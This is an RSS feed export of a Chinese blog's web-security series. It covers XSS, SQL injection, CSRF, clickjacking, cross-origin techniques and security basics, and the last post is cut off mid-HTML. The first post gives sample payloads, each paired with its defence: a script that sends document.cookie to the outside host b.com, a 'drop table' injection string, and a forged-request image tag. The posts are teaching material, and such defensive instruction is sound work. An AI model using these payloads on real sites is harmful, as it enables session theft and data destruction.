﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-不急不徐，持之以恒。-随笔分类-安全</title><link>http://blogjava.net/linli/category/54790.html</link><description>http://blog.gopersist.com/</description><language>zh-cn</language><lastBuildDate>Sat, 25 Apr 2015 22:41:43 GMT</lastBuildDate><pubDate>Sat, 25 Apr 2015 22:41:43 GMT</pubDate><ttl>60</ttl><item><title>Web安全技术(4)-常见的攻击和防御</title><link>http://www.blogjava.net/linli/archive/2015/04/25/424668.html</link><dc:creator>老林</dc:creator><author>老林</author><pubDate>Sat, 25 Apr 2015 07:40:00 GMT</pubDate><guid>http://www.blogjava.net/linli/archive/2015/04/25/424668.html</guid><wfw:comment>http://www.blogjava.net/linli/comments/424668.html</wfw:comment><comments>http://www.blogjava.net/linli/archive/2015/04/25/424668.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/linli/comments/commentRss/424668.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/linli/services/trackbacks/424668.html</trackback:ping><description><![CDATA[<div><article style="margin-bottom: 30px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;"><p style="margin: 0px 0px 15px; padding: 0px;">对于一个Web应用来说，可能会面临很多不同的攻击。下面的内容将介绍一些常见的攻击方法，以及面对这些攻击的防御手段。</p><h2>一、跨站脚本攻击（XSS）</h2><p style="margin: 0px 0px 15px; padding: 0px;">跨站脚本攻击的英文全称是Cross Site Script，为了和样式表区分，缩写为XSS。发生的原因是网站将用户输入的内容输出到页面上，在这个过程中可能有恶意代码被浏览器执行。</p><p style="margin: 0px 0px 15px; padding: 0px;">跨站脚本攻击可以分为两种：</p><p style="margin: 0px 0px 15px; padding: 0px;"><strong>1). 反射型XSS</strong></p><p style="margin: 0px 0px 15px; padding: 0px;">它是通过诱使用户打开一个恶意链接，服务端将链接中参数的恶意代码渲染到页面中，再传递给用户由浏览器执行，从而达到攻击的目的。如下面的链接：</p><pre style="margin-top: 0px; margin-bottom: 15px; padding: 8px 12px; font-size: 15px; border: 1px solid #e8e8e8; border-radius: 3px; overflow-x: scroll; background-color: #eeeeff;"><code style="border: 0px; border-radius: 3px; padding: 1px 0px;">http://a.com/a.jsp?name=xss&lt;script&gt;alert(1)&lt;/script&gt; </code></pre><p style="margin: 0px 0px 15px; padding: 0px;">a.jsp将页面渲染成下面的html：</p><pre style="margin-top: 0px; margin-bottom: 15px; padding: 8px 12px; font-size: 15px; border: 1px solid #e8e8e8; border-radius: 3px; overflow-x: scroll; background-color: #eeeeff;"><code style="border: 0px; border-radius: 3px; padding: 1px 0px;">Hello xss&lt;script&gt;alert(1)&lt;/script&gt; </code></pre><p style="margin: 0px 0px 15px; padding: 0px;">这时浏览器将会弹出提示框。</p><p style="margin: 0px 0px 15px; padding: 0px;"><strong>2). 持久型XSS</strong></p><p style="margin: 0px 0px 15px; padding: 0px;">持久型XSS将恶意代码提交给服务器，并且存储在服务器端，当用户访问相关内容时再渲染到页面中，以达到攻击的目的，它的危害更大。</p><p style="margin: 0px 0px 15px; padding: 0px;">比如，攻击者写了一篇带恶意JS代码的博客，文章发表后，所有访问该博客文章的用户都会执行这段恶意JS。</p><h3>Cookie劫持</h3><p style="margin: 0px 0px 15px; padding: 0px;">Cookie中一般保存了当前用户的登录凭证，如果可以得到，往往意味着可直接进入用户帐户，而Cookie劫持也是最常见的XSS攻击。以上面提过的反射型XSS的例子来说，可以像下面这样操作：</p><p style="margin: 0px 0px 15px; padding: 0px;">首先诱使用户打开下面的链接：</p><pre style="margin-top: 0px; margin-bottom: 15px; padding: 8px 12px; font-size: 15px; border: 1px solid #e8e8e8; border-radius: 3px; overflow-x: scroll; background-color: #eeeeff;"><code style="border: 0px; border-radius: 3px; padding: 1px 0px;">http://a.com/a.jsp?name=xss&lt;script src=http://b.com/b.js&gt;&lt;/script&gt; </code></pre><p style="margin: 0px 0px 15px; padding: 0px;">用户打开链接后，会加载b.js，并执行b.js中的代码。b.js中存储了以下JS代码：</p><pre style="margin-top: 0px; margin-bottom: 15px; padding: 8px 12px; font-size: 15px; border: 1px solid #e8e8e8; border-radius: 3px; overflow-x: scroll; background-color: #eeeeff;"><code style="border: 0px; border-radius: 3px; padding: 1px 0px;">var img = document.createElement("img"); img.src = "http://b.com/log?" + escape(document.cookie); document.body.appendChild(img); </code></pre><p style="margin: 0px 0px 15px; padding: 0px;">上面的代码会向b.com请求一张图片，但实际上是将当前页面的cookie发到了b.com的服务器上。这样就完成了窃取cookie的过程。</p><p style="margin: 0px 0px 15px; padding: 0px;"><strong>防御Cookie劫持的一个简单的方法是在Set-Cookie时加上HttpOnly标识，浏览器禁止JavaScript访问带HttpOnly属性的Cookie。</strong></p><h3>XSS的防御</h3><p style="margin: 0px 0px 15px; padding: 0px;"><strong>1). 输入检查</strong></p><p style="margin: 0px 0px 15px; padding: 0px;">对输入数据做检查，比如用户名只允许是字母和数字，邮箱必须是指定格式。一定要在后台做检查，否则数据可能绕过前端检查直接发给服务器。一般前后端都做检查，这样前端可以挡掉大部分无效数据。</p><p style="margin: 0px 0px 15px; padding: 0px;">对特殊字符做编码或过滤，但因为不知道输出时的语境，所以可能会做不适当的过滤，最好是在输出时具体情况具体处理。</p><p style="margin: 0px 0px 15px; padding: 0px;"><strong>2). 输出检查</strong></p><p style="margin: 0px 0px 15px; padding: 0px;">对渲染到HTML中内容执行HtmlEncode，对渲染到JavaScript中的内容执行JavascriptEncode。</p><p style="margin: 0px 0px 15px; padding: 0px;">另外还可以使用一些做XSS检查的开源项目。</p><h2>二、SQL注入</h2><p style="margin: 0px 0px 15px; padding: 0px;">SQL注入常常会听到，它与XSS类似，是由于用户提交的数据被当成命令来执行而造成的。下面是一个SQL注入的例子：</p><pre style="margin-top: 0px; margin-bottom: 15px; padding: 8px 12px; font-size: 15px; border: 1px solid #e8e8e8; border-radius: 3px; overflow-x: scroll; background-color: #eeeeff;"><code style="border: 0px; border-radius: 3px; padding: 1px 0px;">String sql = "select * from user where username = '" + username + "'"; </code></pre><p style="margin: 0px 0px 15px; padding: 0px;">像上面的SQL语句，如果用户提交的username参数是leo，则数据库执行的SQL为：</p><pre style="margin-top: 0px; margin-bottom: 15px; padding: 8px 12px; font-size: 15px; border: 1px solid #e8e8e8; border-radius: 3px; overflow-x: scroll; background-color: #eeeeff;"><code style="border: 0px; border-radius: 3px; padding: 1px 0px;">select * from user where username = 'leo' </code></pre><p style="margin: 0px 0px 15px; padding: 0px;">但如果用户提交的username参数是leo&#8217;; drop table user&#8211;，那执行的SQL为：</p><pre style="margin-top: 0px; margin-bottom: 15px; padding: 8px 12px; font-size: 15px; border: 1px solid #e8e8e8; border-radius: 3px; overflow-x: scroll; background-color: #eeeeff;"><code style="border: 0px; border-radius: 3px; padding: 1px 0px;">select * from user where username = 'leo'; drop table user--' </code></pre><p style="margin: 0px 0px 15px; padding: 0px;">在查询数据后，又执行了一个删除表的操作，这样的后果非常严重。</p><h3>SQL注入的防御</h3><p style="margin: 0px 0px 15px; padding: 0px;">防止SQL注入最好的方法是使用预编译语句，如下面所示：</p><pre style="margin-top: 0px; margin-bottom: 15px; padding: 8px 12px; font-size: 15px; border: 1px solid #e8e8e8; border-radius: 3px; overflow-x: scroll; background-color: #eeeeff;"><code style="border: 0px; border-radius: 3px; padding: 1px 0px;">String sql = "select * from user where username = ?"; PreparedStatement pstmt = conn.prepareStatement(sql); pstmt.setString(1, username); ResultSet results = pstmt.executeQuery(); </code></pre><p style="margin: 0px 0px 15px; padding: 0px;">不同语言的预编译方法不同，但基本都可以处理。</p><p style="margin: 0px 0px 15px; padding: 0px;">如果遇到无法使用预编译方法时，只能像防止XSS那样对参数进行检查和编码。</p><h2>三、跨站请求伪造（CSRF）</h2><p style="margin: 0px 0px 15px; padding: 0px;">跨站请求伪造的英文全称是Cross Site Request Forgery，是由于操作所需的所有参数都能被攻击者得到，进而构造出一个伪造的请求，在用户不知情的情况下被执行。看下面一个例子：</p><p style="margin: 0px 0px 15px; padding: 0px;">如果a.com网站需要用户登录后可以删除博客，删除博客的请求地址如下：</p><pre style="margin-top: 0px; margin-bottom: 15px; padding: 8px 12px; font-size: 15px; border: 1px solid #e8e8e8; border-radius: 3px; overflow-x: scroll; background-color: #eeeeff;"><code style="border: 0px; border-radius: 3px; padding: 1px 0px;">GET http://a.com/blog/delete?id=1 </code></pre><p style="margin: 0px 0px 15px; padding: 0px;">当用户登录a.com后，又打开了http://b.com/b.html，其中有下面的内容：</p><pre style="margin-top: 0px; margin-bottom: 15px; padding: 8px 12px; font-size: 15px; border: 1px solid #e8e8e8; border-radius: 3px; overflow-x: scroll; background-color: #eeeeff;"><code style="border: 0px; border-radius: 3px; padding: 1px 0px;">&lt;img src="http://a.com/blog/delete?id=1"/&gt; </code></pre><p style="margin: 0px 0px 15px; padding: 0px;">这时会以用户在a.com的身份发送http://a.com/blog/delete?id=1，删除那篇博客。</p><h3>CSRF的防御</h3><ol style="margin: 0px 0px 15px 30px; padding: 0px;"><li>验证码</li></ol><p style="margin: 0px 0px 15px; padding: 0px;">CSRF是在用户不知情的情况下构造的网络情况，验证码则强制用户与应用交互，所以验证码可以很好得防止CSRF。但不能什么请求都加验证码。</p><ol style="margin: 0px 0px 15px 30px; padding: 0px;"><li>referer检查</li></ol><p style="margin: 0px 0px 15px; padding: 0px;">检查请求header中的referer也能帮助防止CSRF攻击，但服务器不是总能拿到referer，浏览器可能出于安全或隐私而不发送referer，所以也不常用。倒是图片防盗链中用得很多。</p><ol style="margin: 0px 0px 15px 30px; padding: 0px;"><li>Anti CSRF Token</li></ol><p style="margin: 0px 0px 15px; padding: 0px;">更多的是生成一个随机的token，在用户提交数据的同时提交这个token，服务器端比对后如果不正确，则拒绝执行操作。</p><h2>四、点击劫持（ClickJacking）</h2><p style="margin: 0px 0px 15px; padding: 0px;">点击劫持是从视觉上欺骗用户。攻击者使用一个透明的iframe覆盖在一个网页上，诱使用户在该网页上操作，而实际点击却是点在透明的iframe页面。</p><p style="margin: 0px 0px 15px; padding: 0px;">点击劫持延伸出了很多攻击方式，有图片覆盖攻击、拖拽劫持等。</p><h3>点击劫持的防御</h3><p style="margin: 0px 0px 15px; padding: 0px;">针对iframe的攻击，可使用一个HTTP头：X-Frame-Options，它有三种可选值：</p><ul style="margin: 0px 0px 15px 30px; padding: 0px;"><li>DENY： 禁止任何页面的frame加载；</li><li>SAMEORIGIN：只有同源页面的frame可加载；</li><li>ALLOW-FROM：可定义允许frame加载的页面地址。</li></ul><p style="margin: 0px 0px 15px; padding: 0px;">针对图片覆盖攻击，则注意使用预防XSS的方法，防止HTML和JS注入。</p></article><p style="margin: 0px 0px 15px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; font-weight: bold; font-style: italic; background-color: #fdfdfd;">微信订阅号：<img src="http://blog.gopersist.com/images/about/weixin.jpg" width="100" height="100" style="max-width: 100%; vertical-align: middle;"  alt="" /><br />原文地址：<a href="http://blog.gopersist.com/2015/04/25/web-security-4/" title="http://blog.gopersist.com/2015/04/25/web-security-4/">http://blog.gopersist.com/2015/04/25/web-security-4/</a></p></div><img src ="http://www.blogjava.net/linli/aggbug/424668.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/linli/" target="_blank">老林</a> 2015-04-25 15:40 <a href="http://www.blogjava.net/linli/archive/2015/04/25/424668.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Web安全技术(3)-浏览器的跨域访问</title><link>http://www.blogjava.net/linli/archive/2015/04/22/424584.html</link><dc:creator>老林</dc:creator><author>老林</author><pubDate>Tue, 21 Apr 2015 16:15:00 GMT</pubDate><guid>http://www.blogjava.net/linli/archive/2015/04/22/424584.html</guid><wfw:comment>http://www.blogjava.net/linli/comments/424584.html</wfw:comment><comments>http://www.blogjava.net/linli/archive/2015/04/22/424584.html#Feedback</comments><slash:comments>4</slash:comments><wfw:commentRss>http://www.blogjava.net/linli/comments/commentRss/424584.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/linli/services/trackbacks/424584.html</trackback:ping><description><![CDATA[<article style="margin-bottom: 30px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;"><h2>一、浏览器介绍</h2><p style="margin: 0px 0px 15px; padding: 0px;">对于Web应用来说，浏览器是最重要的客户端。</p><p style="margin: 0px 0px 15px; padding: 0px;">目前浏览器五花八门多得不得了，除了Chrome、IE、Firefox、Safari、Opera这些国外的浏览器外，百度、腾讯、360、淘宝、搜狗、傲游之类的，反正能做的都做了。</p><p style="margin: 0px 0px 15px; padding: 0px;">浏览器虽然这么多，但浏览器内核主要就以下4种：</p><ol style="margin: 0px 0px 15px 30px; padding: 0px;"><li>Trident：IE使用的内核。</li><li>Gecko：Firefox使用的内核。</li><li>WebKit：Safair和Chrome使用的内核。WebKit由苹果发明，Chrome也用了，但是Google又开发了V8引擎替换掉了WebKit中的Javascript引擎。</li><li>Presto：Opera使用的内核。</li></ol><p style="margin: 0px 0px 15px; padding: 0px;">国内的浏览器基本都是双核浏览器，使用基于WebKit的内核高速浏览常用网站，使用Trident内核兼容网银等网站。</p><h2>二、同源策略</h2><p style="margin: 0px 0px 15px; padding: 0px;">同源策略是浏览器最基本的安全策略，它认为任何站点的内容都是不安全的，所以当脚本运行时，只被允许访问来自同一站点的资源。</p><p style="margin: 0px 0px 15px; padding: 0px;">同源是指域名、协议、端口都相同。</p><p style="margin: 0px 0px 15px; padding: 0px;">如果没有同源策略，就会发生下面这样的问题：</p><blockquote style="margin: 0px 0px 15px; padding: 0px 0px 0px 15px; color: #828282; border-left-width: 4px; border-left-color: #e8e8e8; font-size: 18px; letter-spacing: -1px; font-style: italic;"><p style="margin: 0px 0px 15px; padding: 0px;">恶意网站用一个iframe把真实的银行登录页放到他的页面上，当用户使用用户名密码登录时，父页面的javascript就可以读取到银行登录页表单中的内容。</p><p style="margin: 0px; padding: 0px;">甚至浏览器的1个Tab页打开了恶意网站，另一个Tab页打开了银行网站，恶意网站中的javascript可以读取到银行网站的内容。这样银行卡和密码就能被轻易拿走。</p></blockquote><h2>三、跨域访问</h2><p style="margin: 0px 0px 15px; padding: 0px;">由于同源策略的原因，浏览器对跨域访问做了很多限制，但有时我们的确需要做跨域访问，那要怎么办？主要有以下几种情况：</p><h3>1. iframe的跨域访问</h3><p style="margin: 0px 0px 15px; padding: 0px;">同域名下，父页面可以通过document.getElementById(&#8216;_iframe&#8217;).contentWindow.document访问子页面的内容，但不同域名下会出现类似下面的错误：</p><blockquote style="margin: 0px 0px 15px; padding: 0px 0px 0px 15px; color: #828282; border-left-width: 4px; border-left-color: #e8e8e8; font-size: 18px; letter-spacing: -1px; font-style: italic;"><p style="margin: 0px; padding: 0px;">Uncaught SecurityError: Blocked a frame with origin &#8220;http://a.com&#8221; from accessing a frame with origin &#8220;http://b.com&#8221;. Protocols, domains, and ports must match.</p></blockquote><h4>有两种解决方法：</h4><p style="margin: 0px 0px 15px; padding: 0px;">1). 当主域名相同，子域名不同时，比较容易解决，只需设置相同的document.domain即可。</p><p style="margin: 0px 0px 15px; padding: 0px;">如http://a.a.com/a.html使用iframe载入http://b.a.com/b.html，且在a.html中有Javascript要修改b.html中元素的内容时，可以像下面的代码那样操作。</p><p style="margin: 0px 0px 15px; padding: 0px;"><strong>a.html</strong></p><pre style="margin-top: 0px; margin-bottom: 15px; padding: 8px 12px; font-size: 15px; border: 1px solid #e8e8e8; border-radius: 3px; overflow-x: scroll; background-color: #eeeeff;"><code style="border: 0px; border-radius: 3px; padding: 1px 0px;">&lt;html&gt;<br />   &lt;head&gt;<br />     &lt;script&gt;<br />       document.domain = 'a.com';<br />       function changeIframeContent() {<br />         var _iframe = document.getElementById('_iframe');<br />         var _p = _iframe.contentWindow.document.getElementById('_p');<br />         _p.innerHTML = 'Content from a.html';<br />       }<br />     &lt;/script&gt;<br />   &lt;/head&gt;<br />   &lt;body&gt;<br />     &lt;iframe id="_iframe" src="http://b.a.com/demo/iframe/subdomain/b.html"&gt;&lt;/iframe&gt;<br />     &lt;br&gt;<br />     &lt;input type="button" value="Change iframe content" onclick="changeIframeContent();"/&gt;<br />   &lt;/body&gt;<br /> &lt;/html&gt; </code></pre><p style="margin: 0px 0px 15px; padding: 0px;"><strong>b.html</strong></p><pre style="margin-top: 0px; margin-bottom: 15px; padding: 8px 12px; font-size: 15px; border: 1px solid #e8e8e8; border-radius: 3px; overflow-x: scroll; background-color: #eeeeff;"><code style="border: 0px; border-radius: 3px; padding: 1px 0px;">&lt;html&gt;<br />   &lt;head&gt;<br />     &lt;script&gt;<br />       document.domain = 'a.com';<br />     &lt;/script&gt;<br />   &lt;/head&gt;<br />   &lt;body&gt;<br />     &lt;p id="_p"&gt;b.html&lt;/p&gt;<br />   &lt;/body&gt;<br /> &lt;/html&gt; </code></pre><p style="margin: 0px 0px 15px; padding: 0px;">2). 当主域名不同时，就非常麻烦了。大致的方法像下面描述的那样：</p><ul style="margin: 0px 0px 15px 30px; padding: 0px;"><li>a.com下有a.html；</li><li>a.html创建iframe加载b.com下的b.html，可在加载b.html时通过?或#将参数传递到b.html中；</li><li>b.html加载后，可以通过提取location.search或location.hash中的内容获取a.html传过来的参数；</li><li>b.html创建一个iframe，加载a.com下的c.html，并且参数也通过?或#传给c.html；</li><li>因为c.html和a.html是相同域名，所以c.html可以使用parent.parent访问到a.html的对象，这样也就可以将b.html需要传递的参数传回到a.html中。</li></ul><h3>2. Ajax的跨域访问</h3><p style="margin: 0px 0px 15px; padding: 0px;">Ajax主要通过XMLHttpRequest对象实现，但是如果通过XMLHttpRequest访问不同域名下的数据，浏览器会出现类似下面的错误：</p><blockquote style="margin: 0px 0px 15px; padding: 0px 0px 0px 15px; color: #828282; border-left-width: 4px; border-left-color: #e8e8e8; font-size: 18px; letter-spacing: -1px; font-style: italic;"><p style="margin: 0px; padding: 0px;">XMLHttpRequest cannot load http://b.com/demo/iframe/ajax/b.html. No &#8216;Access-Control-Allow-Origin&#8217; header is present on the requested resource. Origin &#8216;http://a.com&#8217; is therefore not allowed access.</p></blockquote><h4>这时可由以下两种方法解决：</h4><p style="margin: 0px 0px 15px; padding: 0px;">1). 使用&lt;script&gt;代替XMLHttpRequest，也就是JSONP的方法。利用&lt;script&gt;标签的src下加载的js不受同源策略限制，并且加载后的js运行在当前页面的域下，所以可自由操作当前页面的内容。</p><p style="margin: 0px 0px 15px; padding: 0px;">下面的代码演示了在a.com下的a.html通过b.com下的b.js中的内容来更新自身的p标签。</p><p style="margin: 0px 0px 15px; padding: 0px;"><strong>a.html</strong></p><pre style="margin-top: 0px; margin-bottom: 15px; padding: 8px 12px; font-size: 15px; border: 1px solid #e8e8e8; border-radius: 3px; overflow-x: scroll; background-color: #eeeeff;"><code style="border: 0px; border-radius: 3px; padding: 1px 0px;">&lt;html&gt;<br />   &lt;head&gt;<br />     &lt;script&gt;<br />       function update_p (content) {<br />         document.getElementById("_p").innerHTML = content;<br />       }<br />       function getFromB() {<br />         var _script = document.createElement("script");<br />         _script.type = "text/javascript";<br />         _script.src = "http://b.com/demo/ajax/b.js";<br />         document.getElementsByTagName("head")[0].appendChild(_script);<br />       }<br />     &lt;/script&gt;<br />   &lt;/head&gt;<br />   &lt;body&gt;<br />     &lt;p id="_p"&gt;a.html&lt;/p&gt;<br />     &lt;input type="button" value="Get from b.com" onclick="getFromB()"/&gt;<br />   &lt;/body&gt;<br /> &lt;/html&gt; </code></pre><p style="margin: 0px 0px 15px; padding: 0px;"><strong>b.js</strong></p><pre style="margin-top: 0px; margin-bottom: 15px; padding: 8px 12px; font-size: 15px; border: 1px solid #e8e8e8; border-radius: 3px; overflow-x: scroll; background-color: #eeeeff;"><code style="border: 0px; border-radius: 3px; padding: 1px 0px;">update_p("content from b.js"); </code></pre><p style="margin: 0px 0px 15px; padding: 0px;">在实际使用中，通常a.html会将update_p以callback参数名传递给b.com的服务器，服务器动态生成数据后，再用callback参数值包起来作为响应回传给a.html。</p><p style="margin: 0px 0px 15px; padding: 0px;">2). 在b.com的服务器返回信息中增加以下头信息：</p><ul style="margin: 0px 0px 15px 30px; padding: 0px;"><li>Access-Control-Allow-Origin: http://a.com</li><li>Access-Control-Allow-Methods: GET</li></ul><p style="margin: 0px 0px 15px; padding: 0px;">此时浏览器便允许a.com读取使用GET请求b.com的内容。</p><p style="margin: 0px 0px 15px; padding: 0px;"><em>对于flash来说，会要求在网站根目录下放一个名为crossdomain.xml的文件，以指明允许访问的域名来源。文件中的内容类似下面的样子：</em></p><pre style="margin-top: 0px; margin-bottom: 15px; padding: 8px 12px; font-size: 15px; border: 1px solid #e8e8e8; border-radius: 3px; overflow-x: scroll; background-color: #eeeeff;"><code style="border: 0px; border-radius: 3px; padding: 1px 0px;">&lt;cross-domain-policy&gt;<br />   &lt;allow-access-from domain="*.a.com" /&gt;<br /> &lt;/cross-domain-policy&gt; </code></pre><h3>3. 使用HTML5的postMessage方法实现跨域访问</h3><p style="margin: 0px 0px 15px; padding: 0px;">HTML5增加了跨文档消息传输，下面的例子实现了使用postMessage在不同域间传递消息：</p><p style="margin: 0px 0px 15px; padding: 0px;"><strong>a.html</strong></p><pre style="margin-top: 0px; margin-bottom: 15px; padding: 8px 12px; font-size: 15px; border: 1px solid #e8e8e8; border-radius: 3px; overflow-x: scroll; background-color: #eeeeff;"><code style="border: 0px; border-radius: 3px; padding: 1px 0px;">&lt;html&gt;<br />   &lt;head&gt;<br />     &lt;script&gt;<br />       function update_b () {<br />         var _iframe = document.getElementById("_iframe");<br /> 	_iframe.contentWindow.postMessage("content from a.html", "http://b.com");<br />       }<br />     &lt;/script&gt;<br />   &lt;head&gt;<br />   &lt;body&gt;<br />     &lt;iframe id="_iframe" src="http://b.com/demo/html5/b.html"&gt;&lt;/iframe&gt;<br />     &lt;br&gt;<br />     &lt;input type="button" value="Update b.html" onclick="update_b()"&gt;&lt;/input&gt;<br />   &lt;/body&gt;<br /> &lt;/html&gt; </code></pre><p style="margin: 0px 0px 15px; padding: 0px;"><strong>b.html</strong></p><pre style="margin-top: 0px; margin-bottom: 15px; padding: 8px 12px; font-size: 15px; border: 1px solid #e8e8e8; border-radius: 3px; overflow-x: scroll; background-color: #eeeeff;"><code style="border: 0px; border-radius: 3px; padding: 1px 0px;">&lt;html&gt;<br />   &lt;head&gt;<br />     &lt;script&gt;<br />       window.addEventListener("message", function (event) {<br />         document.getElementById("_p").innerHTML = event.data;<br />       }, false);<br />     &lt;/script&gt;<br />   &lt;/head&gt;<br />   &lt;body&gt;<br />     &lt;p id="_p"&gt;b.html&lt;/p&gt;<br />   &lt;/body&gt;<br /> &lt;/html&gt; </code></pre><p style="margin: 0px 0px 15px; padding: 0px;">在postMessage中要指定接收方的域名，如果发现目标页面的域名不正确，将抛出类似下面这样的错误：</p><blockquote style="margin: 0px 0px 15px; padding: 0px 0px 0px 15px; color: #828282; border-left-width: 4px; border-left-color: #e8e8e8; font-size: 18px; letter-spacing: -1px; font-style: italic;"><p style="margin: 0px; padding: 0px;">Failed to execute &#8216;postMessage&#8217; on &#8216;DOMWindow&#8217;: The target origin provided (&#8216;http://c.com&#8217;) does not match the recipient window&#8217;s origin (&#8216;http://b.com&#8217;).</p></blockquote><p style="margin: 0px 0px 15px; padding: 0px;"><em>浏览器对跨域访问的限制是出于安全考虑的，所以在使用一些方法实现跨域访问时要特别小心。</em></p></article><p style="margin: 0px 0px 15px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; font-weight: bold; font-style: italic; background-color: #fdfdfd;">微信订阅号：<img src="http://blog.gopersist.com/images/about/weixin.jpg" width="100" height="100" style="max-width: 100%; vertical-align: middle;" alt="" /><br />源文地址：<a href="http://blog.gopersist.com/2015/04/22/web-security-3/">http://blog.gopersist.com/2015/04/22/web-security-3/</a></p><img src ="http://www.blogjava.net/linli/aggbug/424584.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/linli/" target="_blank">老林</a> 2015-04-22 00:15 <a href="http://www.blogjava.net/linli/archive/2015/04/22/424584.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Web安全技术(2)-安全概述</title><link>http://www.blogjava.net/linli/archive/2015/04/17/424507.html</link><dc:creator>老林</dc:creator><author>老林</author><pubDate>Fri, 17 Apr 2015 15:47:00 GMT</pubDate><guid>http://www.blogjava.net/linli/archive/2015/04/17/424507.html</guid><wfw:comment>http://www.blogjava.net/linli/comments/424507.html</wfw:comment><comments>http://www.blogjava.net/linli/archive/2015/04/17/424507.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/linli/comments/commentRss/424507.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/linli/services/trackbacks/424507.html</trackback:ping><description><![CDATA[<h2>一、安全的要素</h2><p style="margin: 0px 0px 15px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;">信息安全的核心问题是要保障数据的合法使用者能够在任何需要该数据时获得保密的，没有被非法更改过的数据。主要有以下几要素：</p><p style="margin: 0px 0px 15px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;">机密性</p><ul style="margin: 0px 0px 15px 30px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;"><li>保证数据内容不能泄露。</li><li><em>用户的密码用明文保存，就破坏了机密性。</em></li></ul><p style="margin: 0px 0px 15px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;">完整性</p><ul style="margin: 0px 0px 15px 30px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;"><li>保证数据内容不被篡改。</li><li><em>使用HTTP提交数据时，数据在传输过程中被篡改后再发往服务器，就破坏了完整性。</em></li></ul><p style="margin: 0px 0px 15px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;">可用性</p><ul style="margin: 0px 0px 15px 30px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;"><li>保证数据可被正常访问和使用。</li><li><em>像拒绝服务攻击（DoS）就是破坏了可用性。</em></li></ul><p style="margin: 0px 0px 15px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;"><strong>最基本的安全要素就上面三个，下面还有一些其他的。</strong></p><p style="margin: 0px 0px 15px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;">可审计性</p><ul style="margin: 0px 0px 15px 30px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;"><li>记录对数据产生的操作，用于日后的分析、审查。</li></ul><p style="margin: 0px 0px 15px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;">不可抵赖性</p><ul style="margin: 0px 0px 15px 30px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;"><li>首先要保证数据完整性，然后，在传输的数据中必须携带用于身份识别的信息，且这部分信息在不同主体间不能发生碰撞。</li></ul><h3>加密技术的使用</h3><p style="margin: 0px 0px 15px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;">上一篇<a href="http://blog.gopersist.com/2015/04/08/crypto/" style="color: #1756a9; text-decoration: none;">《Web安全技术(1)-对加密机制的理解》</a>中提到了三类加密算法，可以应用于某些要素的安全保障。如下面的说明：</p><p style="margin: 0px 0px 15px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;"><strong>对称加密</strong></p><ul style="margin: 0px 0px 15px 30px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;"><li>可保障机密性，对数据加密后存储，可以使没有密钥的人员无法获取数据内容。</li></ul><p style="margin: 0px 0px 15px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;"><strong>非对称加密</strong></p><ul style="margin: 0px 0px 15px 30px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;"><li>可以对数据进行加密解密操作，所以也能像对称加密一样保障机密性；</li><li>因为非对称加密可以实现数字签名，所以可以保证数据完整性。另外，由于是使用私钥签名，而私钥只有数据发送方才有，所以如果公钥可以验签成功，则发送方不可抵赖。</li></ul><p style="margin: 0px 0px 15px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: #fdfdfd;"><strong>摘要加密</strong></p><ul style="margin: 0px 0px 15px 30px; padding: 0px; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px; background-color: 